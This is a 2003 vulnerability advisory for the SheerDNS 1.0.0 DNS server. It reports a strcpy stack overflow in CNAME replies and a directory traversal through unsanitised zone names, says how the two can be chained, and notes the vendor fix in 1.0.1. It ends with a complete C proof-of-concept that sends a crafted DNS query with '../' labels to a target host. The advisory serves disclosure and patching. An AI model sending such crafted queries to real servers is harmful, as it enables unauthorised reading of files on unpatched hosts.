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Date : 04/13/2003
Product : SheerDNS
Author : Frank Denis <j@pureftpd.org>


------------------------[ Product description ]------------------------

SheerDNS was written to be a simple replacement master DNS server that can
be used where atomic updates are required. Because it stores each record in
a small file, updating records does not require the sheerdns process to be
notified or restarted. Each update is immediately available and served as-is.

SheerDNS is extremely light-weight, simple, and fast, and written with
security in mind.

Home page : http://threading.2038bug.com/sheerdns/


------------------------[ Vulnerabilities ]------------------------

Two main vulnerabilities were found in SheerDNS 1.0.0 .

* Buffer overflow in CNAME handling.

There's buffer overflow in the way SheerDNS constructs a reply when
answering a CNAME request. See line 385 of sheerdns.c :

strcpy ((char *) query, lookup_results[0]);

query is a 256 bytes buffer on the stack, while lookup_results[0] can be
up to 1024 bytes (see dir.c) .

Lookup results are read from local files, hopefully created by trusted
processes. However, a second vulnerability can break this.

* Directory traversal in directory_lookup().

The point in SheerDNS is that data is directly served from files. Thus, a
request for the <type> record of the <zone> zone results in reading a file
whoose location is :

/var/sheerdns/<zone>/<type>

However, SheerDNS 1.0.0 doesn't sanitize the requested zone.

Using a specially crafted DNS request, an arbitrary directory can be read,
moreover SheerDNS needs root privileges and doesn't chroot.

The attached proof-of-concept makes it read the /tmp/passwd/ directory.

* If an untrusted user can create files with arbitrary names on a server
running SheerDNS, both vulnerabilities can be combined. SheerDNS can be
forced to read any untrusted file whoose name is "CNAME" and whoose content
will trigger the query[] buffer overflow.


------------------------[ Affected versions ]------------------------

Both vulnerabilities have been confirmed on SheerDNS 1.0.0 .


------------------------[ Vendor status and fixes ]------------------------

SheerDNS author Paul Sheer addressed these vulnerabilities the day they
were reported, among with some other problems.

SheerDNS 1.0.1 is now available for download from the project's main site.


--
__ /*- Frank DENIS (Jedi/Sector One) <j@42-Networks.Com> -*\ __
\ '/ <a href="http://www.PureFTPd.Org/"> Secure FTP Server </a> \' /
\/ <a href="http://www.Jedi.Claranet.Fr/"> Misc. free software </a> \/

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/*
* SheerDNS 1.0.0 directory traversal POC.
* Jedi/Sector One <j@pureftpd.org>
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <getopt.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

void fill(char * const msg_, size_t *len)
{
register char *msg = msg_;

/* ID */
*msg++ = 2;
*msg++ = 4;

/* QR/OPCODE/AA/TC/RD/RA/Z */
*msg++ = 5;
*msg++ = 0;

/* QDCOUNT */
*msg++ = 0;
*msg++ = 1;

/* ANCOUNT */
*msg++ = 0;
*msg++ = 0;

/* NSCOUNT */
*msg++ = 0;
*msg++ = 0;

/* ARCOUNT */
*msg++ = 0;
*msg++ = 0;

/* QUERY */

*msg++ = 3; strcpy(msg, "../"); msg += 3;
*msg++ = 2; strcpy(msg, "./"); msg += 2;
*msg++ = 2; strcpy(msg, "./"); msg += 2;
*msg++ = 2; strcpy(msg, "./"); msg += 2;
*msg++ = 2; strcpy(msg, "./"); msg += 2;

*msg++ = 12; strcpy(msg, "/tmp/passwd"); msg += 11; *msg++ = 0;

*msg++ = 0;

/* QTYPE */
*msg++ = 0;
*msg++ = 1;

/* QCLASS */
*msg++ = 0;
*msg++ = 1;

/* FCS */
*msg++ = 0xc8;
*msg++ = 0x4c;

/* STOP */
*msg++ = 0x7e;

*len = (size_t) (msg - msg_);
}

void usage(const char * const prgname)
{
printf("Usage : %s [-s <source host>] -t <target host>\n",
prgname);
exit(0);
}

int main(int argc, char *argv[])
{
char msg[65500];
struct addrinfo hints, *res;
const char *source_host = NULL;
const char *target_host = NULL;
size_t len;
int kindy;
int fodder;

while ((fodder = getopt(argc, argv, "s:t:")) != -1) {
switch (fodder) {
case 's' :
if ((source_host = strdup(optarg)) == NULL) {
perror("strdup");
return 1;
}
break;
case 't' :
if ((target_host = strdup(optarg)) == NULL) {
perror("strdup");
return 1;
}
break;
default :
usage(argv[0]);
}
}
if (source_host == NULL || target_host == NULL) {
usage(argv[0]);
}
fill(msg, &len);
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_addr = NULL;
if ((fodder = getaddrinfo(source_host, NULL, &hints, &res)) != 0) {
fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
return 1;
}
if ((kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
return 1;
}
if (bind(kindy, (struct sockaddr *) res->ai_addr,
res->ai_addrlen) != 0) {
perror("bind");
return 1;
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_addr = NULL;
if ((fodder = getaddrinfo(target_host, "domain", &hints, &res)) != 0) {
fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
return 1;
}
if (sendto(kindy, msg, len, 0, (const struct sockaddr *) res->ai_addr,
(socklen_t) res->ai_addrlen) <= (ssize_t) 0) {
perror("sendto");
return 1;
}
(void) close(kindy);

return 0;
}

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